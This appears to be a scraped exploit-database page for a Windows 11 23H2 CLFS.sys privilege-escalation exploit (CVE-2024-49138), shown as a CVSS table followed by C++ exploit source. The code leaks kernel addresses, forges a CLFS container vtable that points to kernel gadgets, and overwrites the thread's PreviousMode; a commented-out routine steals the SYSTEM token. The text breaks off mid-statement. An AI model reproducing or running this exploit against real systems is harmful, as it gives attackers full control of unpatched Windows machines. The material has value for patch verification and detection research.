{"id":931,"date":"2025-04-23T05:59:41","date_gmt":"2025-04-23T05:59:41","guid":{"rendered":"http:\/\/localhost\/?p=931"},"modified":"2025-04-23T05:59:41","modified_gmt":"2025-04-23T05:59:41","slug":"microsoft-windows-11-23h2-clfssys-elevation-of-privilege","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=931","title":{"rendered":"Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52270<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-49138<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege Date: 2025-04-16 Exploit Author: Milad&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege<br \/>\n<br \/># Date: 2025-04-16<br \/>\n<br \/># Exploit Author: Milad Karimi (Ex3ptionaL)<br \/>\n<br \/># Contact: miladgrayhat@gmail.com<br \/>\n<br \/># Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL<br \/>\n<br \/># MiRROR-H: https:\/\/mirror-h.org\/search\/hacker\/49626\/<br \/>\n<br \/># CVE: CVE-2024-49138<\/p>\n<p>#include <iostream><br \/>\n<br \/>#include <Windows.h><br \/>\n<br \/>#include <clfsw32.h><br \/>\n<br \/>#include <format>\n<br \/>#include <psapi.h>\n<br \/>#include <iostream><br \/>\n<br \/>#include <fstream><br \/>\n<br \/>#include <iomanip><br \/>\n<br \/>#include <vector><br \/>\n<br \/>#include <cstdint><br \/>\n<br \/>#include &#8220;resource.h&#8221;<\/p>\n<p>#define CONTROL_BLOCK_SIZE 0x400<br \/>\n<br \/>#define OFFSET_EXTENDED_STATE 0x84<br \/>\n<br \/>#define OFFSET_IEXTENDED_BLOCK 0x88<br \/>\n<br \/>#define OFFSET_IFLUSHB_BLOCK 0x8c<\/p>\n<p>#define _CRT_SECURE_NO_WARNINGS 1<\/p>\n<p>\/\/dt nt!_KTHREAD current<br \/>\n<br \/>\/\/+ 0x230 UserAffinityPrimaryGroup : 0<br \/>\n<br \/>\/\/+ 0x232 PreviousMode : 1 &#8221;<br \/>\n<br \/>\/\/+ 0x233 BasePriority : 15 &#8221;<br \/>\n<br \/>\/\/+ 0x234 PriorityDecrement : 0 &#8221;<br \/>\n<br \/>\/\/+ 0x234 ForegroundBoost : 0y0000<br \/>\n<br \/>\/\/+ 0x234 UnusualBoost : 0y0000<br \/>\n<br \/>\/\/+ 0x235 Preempted : 0 &#8221;<br \/>\n<br \/>\/\/+ 0x236 AdjustReason : 0 &#8221;<br \/>\n<br \/>\/\/+ 0x237 AdjustIncrement : 0 &#8221;<br \/>\n<br \/>\/\/+ 0x238 AffinityVersion : 0x14<br \/>\n<br \/>\/\/+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX<br \/>\n<br \/>\/\/WINDBG > dq ffffc201419e1080 + 0x232 L1<br \/>\n<br \/>\/\/ffffc201`419e12b2 00140000`00000f01<\/p>\n<p>\/\/WINDBG > ? nt!PoFxProcessorNotification &#8211; nt<br \/>\n<br \/>\/\/Evaluate expression : 3861424 = 00000000`003aebb0<br \/>\n<br \/>\/\/WINDBG > ? nt!DbgkpTriageDumpRestoreState &#8211; nt<br \/>\n<br \/>\/\/Evaluate expression : 8324768 = 00000000`007f06a0<br \/>\n<br \/>\/\/WINDBG > ? nt!PsActiveProcessHead &#8211; nt<br \/>\n<br \/>\/\/Evaluate expression : 12812128 = 00000000`00c37f60<\/p>\n<p>#define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0<br \/>\n<br \/>#define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0<br \/>\n<br \/>#define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60<br \/>\n<br \/>#define ACTIVEPROCESSLINKS_OFFSET 0x448<br \/>\n<br \/>#define UNIQUEPROCESSID_OFFSET 0x440<br \/>\n<br \/>#define TOKEN_OFFSET 0x4b8<br \/>\n<br \/>#define TOKENPRIVILEGESPRESENT_OFFSET 0x40<br \/>\n<br \/>#define TOKENPRIVILEGSENABLED_OFFSET 0x48<\/p>\n<p>#pragma comment(lib, &#8220;Clfsw32.lib&#8221;)<\/p>\n<p>LPVOID GetKernelBaseAddress() {<br \/>\n<br \/>    LPVOID drivers[1024]; \/\/ Array to hold driver addresses<br \/>\n<br \/>    DWORD cbNeeded; \/\/ Bytes returned by EnumDeviceDrivers<br \/>\n<br \/>    int driverCount;<br \/>\n<br \/>    TCHAR driverName[MAX_PATH];<\/p>\n<p>    \/\/ Enumerate loaded device drivers<br \/>\n<br \/>    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &#038;cbNeeded)) {<br \/>\n<br \/>        printf(&#8220;Failed to enumerate device drivers. Error: %lu\\n&#8221;,<br \/>\n<br \/>GetLastError());<br \/>\n<br \/>        return (LPVOID)0x0;<br \/>\n<br \/>    }<\/p>\n<p>    driverCount = cbNeeded \/ sizeof(drivers[0]);<\/p>\n<p>    if (driverCount == 0) {<br \/>\n<br \/>        printf(&#8220;No device drivers found.\\n&#8221;);<br \/>\n<br \/>        return (LPVOID)0x0;<br \/>\n<br \/>    }<\/p>\n<p>    \/\/ The first driver is usually the Windows kernel<br \/>\n<br \/>    LPVOID kernelBaseAddress = drivers[0];<\/p>\n<p>    \/\/ Retrieve the name of the kernel driver<br \/>\n<br \/>    if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) {<br \/>\n<br \/>        printf(&#8220;Kernel Base Address: 0x%p\\n&#8221;, kernelBaseAddress);<br \/>\n<br \/>        printf(&#8220;Kernel Name: %ls\\n&#8221;, driverName);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        printf(&#8220;Failed to retrieve kernel name. Error: %lu\\n&#8221;,<br \/>\n<br \/>GetLastError());<br \/>\n<br \/>    }<\/p>\n<p>    return kernelBaseAddress;<\/p>\n<p>}<\/p>\n<p>#define SystemHandleInformation 0x10<br \/>\n<br \/>#define SystemHandleInformationSize 1024 * 1024 * 2<\/p>\n<p>using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(<br \/>\n<br \/>    ULONG SystemInformationClass,<br \/>\n<br \/>    PVOID SystemInformation,<br \/>\n<br \/>    ULONG SystemInformationLength,<br \/>\n<br \/>    PULONG ReturnLength<br \/>\n<br \/>    );<\/p>\n<p>\/\/ Definitions for NTSTATUS and system calls<br \/>\n<br \/>using fNtReadVirtualMemory = NTSTATUS(WINAPI*)(<br \/>\n<br \/>    HANDLE ProcessHandle,<br \/>\n<br \/>    PVOID BaseAddress,<br \/>\n<br \/>    PVOID Buffer,<br \/>\n<br \/>    ULONG BufferSize,<br \/>\n<br \/>    PULONG NumberOfBytesRead);<\/p>\n<p>using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)(<br \/>\n<br \/>    HANDLE ProcessHandle,<br \/>\n<br \/>    PVOID BaseAddress,<br \/>\n<br \/>    PVOID Buffer,<br \/>\n<br \/>    ULONG BufferSize,<br \/>\n<br \/>    PULONG NumberOfBytesWritten);<\/p>\n<p>fNtReadVirtualMemory NtReadVirtualMemory = NULL;<br \/>\n<br \/>fNtWriteVirtualMemory NtWriteVirtualMemory = NULL;<\/p>\n<p>\/\/ handle information<br \/>\n<br \/>typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO<br \/>\n<br \/>{<br \/>\n<br \/>    USHORT UniqueProcessId;<br \/>\n<br \/>    USHORT CreatorBackTraceIndex;<br \/>\n<br \/>    UCHAR ObjectTypeIndex;<br \/>\n<br \/>    UCHAR HandleAttributes;<br \/>\n<br \/>    USHORT HandleValue;<br \/>\n<br \/>    PVOID Object;<br \/>\n<br \/>    ULONG GrantedAccess;<br \/>\n<br \/>} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;<\/p>\n<p>\/\/ handle table information<br \/>\n<br \/>typedef struct _SYSTEM_HANDLE_INFORMATION<br \/>\n<br \/>{<br \/>\n<br \/>    ULONG NumberOfHandles;<br \/>\n<br \/>    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];<br \/>\n<br \/>} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;<\/p>\n<p>PVOID GetKAddrFromHandle(HANDLE handle) {<br \/>\n<br \/>    ULONG returnLength = 0;<br \/>\n<br \/>    fNtQuerySystemInformation NtQuerySystemInformation =<br \/>\n<br \/>(fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L&#8221;ntdll&#8221;),<br \/>\n<br \/>&#8220;NtQuerySystemInformation&#8221;);<br \/>\n<br \/>    PSYSTEM_HANDLE_INFORMATION handleTableInformation =<br \/>\n<br \/>(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,<br \/>\n<br \/>SystemHandleInformationSize);<br \/>\n<br \/>    NtQuerySystemInformation(SystemHandleInformation,<br \/>\n<br \/>handleTableInformation, SystemHandleInformationSize, &#038;returnLength);<\/p>\n<p>    ULONG numberOfHandles = handleTableInformation->NumberOfHandles;<\/p>\n<p>    HeapFree(GetProcessHeap(), 0, handleTableInformation);<br \/>\n<br \/>    handleTableInformation =<br \/>\n<br \/>(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,<br \/>\n<br \/>numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) +<br \/>\n<br \/>sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100);<br \/>\n<br \/>    NtQuerySystemInformation(SystemHandleInformation,<br \/>\n<br \/>handleTableInformation, numberOfHandles *<br \/>\n<br \/>sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION)<br \/>\n<br \/>+ 0x100, &#038;returnLength);<\/p>\n<p>    for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)<br \/>\n<br \/>    {<br \/>\n<br \/>        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo =<br \/>\n<br \/>(SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];<\/p>\n<p>        if (handleInfo.HandleValue == (USHORT)handle &#038;&#038;<br \/>\n<br \/>handleInfo.UniqueProcessId == GetCurrentProcessId())<br \/>\n<br \/>        {<br \/>\n<br \/>            return handleInfo.Object;<br \/>\n<br \/>        }<br \/>\n<br \/>    }<br \/>\n<br \/>}<\/p>\n<p>LPVOID g_ntbase = 0;<br \/>\n<br \/>LPVOID address_to_write;<\/p>\n<p>\/\/Final byte = kthread.previousMode = 0<br \/>\n<br \/>DWORD64 value_to_write = 0x0014000000000f00;<\/p>\n<p>\/\/BOOL SwapTokens() {<br \/>\n<br \/>\/\/ DWORD64 eprocess = 0;<br \/>\n<br \/>\/\/ ULONG bytesRead = 0;<br \/>\n<br \/>\/\/ DWORD64 systemtoken = 0;<br \/>\n<br \/>\/\/ DWORD64 currenttoken = 0;<br \/>\n<br \/>\/\/ DWORD pid = 0;<br \/>\n<br \/>\/\/ DWORD64 privileges = 0x0000001ff2ffffbc;<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +<br \/>\n<br \/>PSACTIVEPROCESSHEAD_OFFSET), &#038;eprocess, sizeof(eprocess), NULL);<br \/>\n<br \/>\/\/ eprocess = eprocess &#8211; ACTIVEPROCESSLINKS_OFFSET;<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),<br \/>\n<br \/>&#038;systemtoken, sizeof(systemtoken), NULL);<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ while (1) {<br \/>\n<br \/>\/\/ NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +<br \/>\n<br \/>ACTIVEPROCESSLINKS_OFFSET), &#038;eprocess, sizeof(eprocess), NULL);<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ eprocess -= ACTIVEPROCESSLINKS_OFFSET;<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +<br \/>\n<br \/>UNIQUEPROCESSID_OFFSET), &#038;pid, sizeof(pid), NULL);<br \/>\n<br \/>\/\/ std::cout << \"pid = \" << pid << std::endl;\n<br \/>\/\/<br \/>\n<br \/>\/\/ if (pid == GetCurrentProcessId())<br \/>\n<br \/>\/\/ break;<br \/>\n<br \/>\/\/ }<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),<br \/>\n<br \/>&#038;currenttoken, sizeof(currenttoken), NULL);<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ \/\/clears refcnt<br \/>\n<br \/>\/\/ currenttoken = currenttoken &#038; 0xfffffffffffffff0;<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ printf(&#8220;performing NtWriteVirtualMemory..\\n&#8221;);<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ getchar();<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ \/\/NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +<br \/>\n<br \/>TOKENPRIVILEGESPRESENT_OFFSET), &#038;privileges, 0x8, NULL);<br \/>\n<br \/>\/\/ \/\/NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +<br \/>\n<br \/>TOKENPRIVILEGSENABLED_OFFSET), &#038;privileges, 0x8, NULL);<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),<br \/>\n<br \/>&#038;systemtoken, 0x8, NULL);<br \/>\n<br \/>\/\/<br \/>\n<br \/>\/\/ return TRUE;<br \/>\n<br \/>\/\/}<\/p>\n<p>int main()<br \/>\n<br \/>{<br \/>\n<br \/>    HMODULE hModule;<br \/>\n<br \/>    HRSRC hResource;<br \/>\n<br \/>    errno_t err;<br \/>\n<br \/>    HGLOBAL hLoadedResource;<br \/>\n<br \/>    LPVOID pResourceData;<br \/>\n<br \/>    DWORD resourceSize;<br \/>\n<br \/>    FILE* file;<br \/>\n<br \/>    DWORD sectorsPerCluster;<br \/>\n<br \/>    DWORD bytesPerSector;<br \/>\n<br \/>    DWORD numberOfFreeClusters;<br \/>\n<br \/>    DWORD totalNumberOfClusters;<br \/>\n<br \/>    const char* rootPath = &#8220;C:\\\\&#8221;;<br \/>\n<br \/>    PVOID marshallingArea = NULL;<br \/>\n<br \/>    ULONGLONG pcbContainer = 0;<br \/>\n<br \/>    std::wstring logFileName = L&#8221;LOG:&#8221;;<br \/>\n<br \/>    std::wstring inputName = L&#8221;C:\\\\temp\\\\testlog\\\\mylogdddd.blf&#8221;;<br \/>\n<br \/>    logFileName += inputName;<br \/>\n<br \/>    DWORD64 buf = 0;<br \/>\n<br \/>    ULONG bytesRead = 0;<br \/>\n<br \/>    LPVOID PreviousModeAddr = NULL;<br \/>\n<br \/>    DWORD threadId = GetCurrentThreadId(); \/\/ Get the current thread ID<br \/>\n<br \/>    DWORD64 eprocess = 0;<br \/>\n<br \/>    DWORD64 systemtoken = 0;<br \/>\n<br \/>    DWORD64 currenttoken = 0;<br \/>\n<br \/>    DWORD64 pid = 0;<br \/>\n<br \/>    BYTE PreviousMode = 0x1;<br \/>\n<br \/>    DWORD64 privileges = 0x0000001ff2ffffbc;<br \/>\n<br \/>    const char* directoryName1 = &#8220;C:\\\\temp&#8221;;<br \/>\n<br \/>    const char* directoryName2 = &#8220;C:\\\\temp\\\\testlog&#8221;;<br \/>\n<br \/>    HANDLE logHndl = INVALID_HANDLE_VALUE;<br \/>\n<br \/>    ULONGLONG cbContainer = (ULONGLONG)0x80000;<\/p>\n<p>    \/\/Creating directories with the baselog and container file<br \/>\n<br \/>    if (CreateDirectoryA(directoryName1, NULL)) {<br \/>\n<br \/>        printf(&#8220;Directory created successfully: %s\\n&#8221;, directoryName1);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        DWORD error = GetLastError();<br \/>\n<br \/>        if (error == ERROR_ALREADY_EXISTS) {<br \/>\n<br \/>            printf(&#8220;The directory already exists: %s\\n&#8221;, directoryName1);<br \/>\n<br \/>        }<br \/>\n<br \/>        else {<br \/>\n<br \/>            printf(&#8220;Failed to create the directory. Error code: %lu\\n&#8221;,<br \/>\n<br \/>error);<br \/>\n<br \/>            return 0;<br \/>\n<br \/>        }<br \/>\n<br \/>    }<\/p>\n<p>    if (CreateDirectoryA(directoryName2, NULL)) {<br \/>\n<br \/>        printf(&#8220;Directory created successfully: %s\\n&#8221;, directoryName2);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        DWORD error = GetLastError();<br \/>\n<br \/>        if (error == ERROR_ALREADY_EXISTS) {<br \/>\n<br \/>            printf(&#8220;The directory already exists: %s\\n&#8221;, directoryName2);<br \/>\n<br \/>        }<br \/>\n<br \/>        else {<br \/>\n<br \/>            printf(&#8220;Failed to create the directory. Error code: %lu\\n&#8221;,<br \/>\n<br \/>error);<br \/>\n<br \/>            return 0;<br \/>\n<br \/>        }<br \/>\n<br \/>    }<\/p>\n<p>    \/\/creating BLF<br \/>\n<br \/>    logHndl = CreateLogFile(logFileName.c_str(),<br \/>\n<br \/>        GENERIC_WRITE | GENERIC_READ,<br \/>\n<br \/>        FILE_SHARE_READ | FILE_SHARE_WRITE,<br \/>\n<br \/>        NULL,<br \/>\n<br \/>        OPEN_ALWAYS,<br \/>\n<br \/>        0);<\/p>\n<p>    if (logHndl == INVALID_HANDLE_VALUE) {<br \/>\n<br \/>        printf(&#8220;CreateLogFile failed with error %d\\n&#8221;, GetLastError());<br \/>\n<br \/>        return 0;<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        printf(&#8220;file opened successfully\\n&#8221;);<br \/>\n<br \/>    }<\/p>\n<p>    \/\/creating and adding container to BLF<br \/>\n<br \/>    if (!AddLogContainer(logHndl, &#038;cbContainer,<br \/>\n<br \/>(LPWSTR)L&#8221;C:\\\\temp\\\\testlog\\\\container1&#8243;, NULL)) {<br \/>\n<br \/>        printf(&#8220;AddLogContainer failed with error %d\\n&#8221;, GetLastError());<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        printf(&#8220;AddLogContainer successful\\n&#8221;);<br \/>\n<br \/>    }<\/p>\n<p>    \/\/closing BLF<br \/>\n<br \/>    CloseHandle(logHndl);<\/p>\n<p>    \/\/ Initialize variables<br \/>\n<br \/>    hModule = GetModuleHandle(NULL);<br \/>\n<br \/>    if (!hModule) {<br \/>\n<br \/>        printf(&#8220;Failed to get module handle.\\n&#8221;);<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    \/\/ Find the resource in the executable<br \/>\n<br \/>    hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1),<br \/>\n<br \/>RT_RCDATA);<br \/>\n<br \/>    if (!hResource) {<br \/>\n<br \/>        printf(&#8220;Failed to find resource. Error: %lu\\n&#8221;, GetLastError());<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    printf(&#8220;hResource = 0x%p\\n&#8221;, hResource);<br \/>\n<br \/>    \/\/ Load the resource into memory<br \/>\n<br \/>    hLoadedResource = LoadResource(hModule, hResource);<br \/>\n<br \/>    if (!hLoadedResource) {<br \/>\n<br \/>        printf(&#8220;Failed to load resource. Error: %lu\\n&#8221;, GetLastError());<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<br \/>\n<br \/>    printf(&#8220;hResource = 0x%p\\n&#8221;, hLoadedResource);<br \/>\n<br \/>    \/\/ Lock the resource to get a pointer to its data<br \/>\n<br \/>    pResourceData = LockResource(hLoadedResource);<br \/>\n<br \/>    if (!pResourceData) {<br \/>\n<br \/>        printf(&#8220;Failed to lock resource. Error: %lu\\n&#8221;, GetLastError());<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<br \/>\n<br \/>    printf(&#8220;pResourceData = 0x%p\\n&#8221;, pResourceData);<br \/>\n<br \/>    \/\/ Get the size of the resource<br \/>\n<br \/>    resourceSize = SizeofResource(hModule, hResource);<br \/>\n<br \/>    if (resourceSize == 0) {<br \/>\n<br \/>        printf(&#8220;Failed to get resource size. Error: %lu\\n&#8221;, GetLastError());<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    \/\/ At this point, pResourceData points to the binary data, and<br \/>\n<br \/>resourceSize contains its size<br \/>\n<br \/>    printf(&#8220;Resource size: %lu bytes\\n&#8221;, resourceSize);<\/p>\n<p>    \/\/ Example: Write the resource data to a file<br \/>\n<br \/>    err = fopen_s(&#038;file, &#8220;C:\\\\temp\\\\testlog\\\\mylogdddd.blf.blf&#8221;, &#8220;wb&#8221;);<br \/>\n<br \/>    if (err == 0 &#038;&#038; file) {<br \/>\n<br \/>        fwrite(pResourceData, 1, resourceSize, file);<br \/>\n<br \/>        fclose(file);<br \/>\n<br \/>        printf(&#8220;Resource written to output.bin successfully.\\n&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        printf(&#8220;Failed to open output file. Error code: %d\\n&#8221;, err);<br \/>\n<br \/>    }<\/p>\n<p>    \/\/preparing data structures in memory<br \/>\n<br \/>    g_ntbase = GetKernelBaseAddress();<\/p>\n<p>    NtReadVirtualMemory =<br \/>\n<br \/>(fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L&#8221;ntdll&#8221;),<br \/>\n<br \/>&#8220;NtReadVirtualMemory&#8221;);<br \/>\n<br \/>    NtWriteVirtualMemory =<br \/>\n<br \/>(fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L&#8221;ntdll&#8221;),<br \/>\n<br \/>&#8220;NtWriteVirtualMemory&#8221;);<\/p>\n<p>    if (!NtReadVirtualMemory || !NtWriteVirtualMemory) {<br \/>\n<br \/>        printf(&#8220;Failed to get addresses for NtReadVirtualMemory or<br \/>\n<br \/>NtWriteVirtualMemory\\n&#8221;);<br \/>\n<br \/>        return -1;<br \/>\n<br \/>    }<\/p>\n<p>    printf(&#8220;NtReadVirtualMemory = 0x%p\\n&#8221;, (DWORD64)NtReadVirtualMemory);<br \/>\n<br \/>    printf(&#8220;NtWriteVirtualMemory = 0x%p\\n&#8221;, (DWORD64)NtWriteVirtualMemory);<\/p>\n<p>    \/\/ Open a real handle to the current thread<br \/>\n<br \/>    HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);<br \/>\n<br \/>    if (threadHandle == NULL) {<br \/>\n<br \/>        printf(&#8220;Failed to get real handle to the current thread. Error:<br \/>\n<br \/>%lu\\n&#8221;, GetLastError());<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    \/\/0x232 = offset to _KTHREAD.PreviousMode<br \/>\n<br \/>    address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle))<br \/>\n<br \/>+ 0x232);<\/p>\n<p>    auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000,<br \/>\n<br \/>MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);<\/p>\n<p>    memset(pcclfscontainer, 0, 0x1000);<br \/>\n<br \/>    auto vtable = (DWORD64)pcclfscontainer + 0x100;<br \/>\n<br \/>    auto rcx = pcclfscontainer;<\/p>\n<p>    *(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200;<br \/>\n<br \/>    *(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase<br \/>\n<br \/>+ DBGKPTRIAGEDUMPRESTORESTATE_OFFSET;<\/p>\n<p>    \/\/arg1 of DBGKPTRIAGEDUMPRESTORESTATE<br \/>\n<br \/>    *(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300;<\/p>\n<p>    auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300;<\/p>\n<p>    \/\/address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember<br \/>\n<br \/>It writes at offset 0x2078 of where<br \/>\n<br \/>    *((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) =<br \/>\n<br \/>(DWORD64)address_to_write &#8211; 0x2078;<\/p>\n<p>    \/\/value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE<br \/>\n<br \/>    *((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) =<br \/>\n<br \/>0x0014000000000f00;<\/p>\n<p>    ((PDWORD64)vtable)[1] = (DWORD64)g_ntbase +<br \/>\n<br \/>POFXPROCESSORNOTIFICATION_OFFSET;<br \/>\n<br \/>    *(PDWORD64)pcclfscontainer = (DWORD64)vtable;<\/p>\n<p>    printf(&#8220;pcclfscontainer = 0x%p\\n&#8221;, (DWORD64)pcclfscontainer);<\/p>\n<p>    printf(&#8220;address_to_write = 0x%p\\n&#8221;, (DWORD64)address_to_write);<\/p>\n<p>    HANDLE processHandle = GetCurrentProcess(); \/\/ Get the current process<br \/>\n<br \/>handle<\/p>\n<p>    \/\/ Set the process priority to HIGH_PRIORITY_CLASS<br \/>\n<br \/>    if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) {<br \/>\n<br \/>        printf(&#8220;Process priority set to REALTIME_PRIORITY_CLASS.\\n&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        DWORD error = GetLastError();<br \/>\n<br \/>        printf(&#8220;Failed to set process priority. Error code: %lu\\n&#8221;, error);<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<br \/>\n<br \/>    threadHandle = GetCurrentThread();<br \/>\n<br \/>    if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) {<br \/>\n<br \/>        printf(&#8220;Thread priority set to the highest level:<br \/>\n<br \/>TIME_CRITICAL.\\n&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        DWORD error = GetLastError();<br \/>\n<br \/>        printf(&#8220;Failed to set thread priority. Error code: %lu\\n&#8221;, error);<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    printf(&#8220;triggering vuln&#8230;&#8221;);<br \/>\n<br \/>    logHndl = CreateLogFile(logFileName.c_str(),<br \/>\n<br \/>        GENERIC_WRITE | GENERIC_READ,<br \/>\n<br \/>        FILE_SHARE_READ | FILE_SHARE_WRITE,<br \/>\n<br \/>        NULL,<br \/>\n<br \/>        OPEN_ALWAYS,<br \/>\n<br \/>        0);<\/p>\n<p>    if (logHndl == 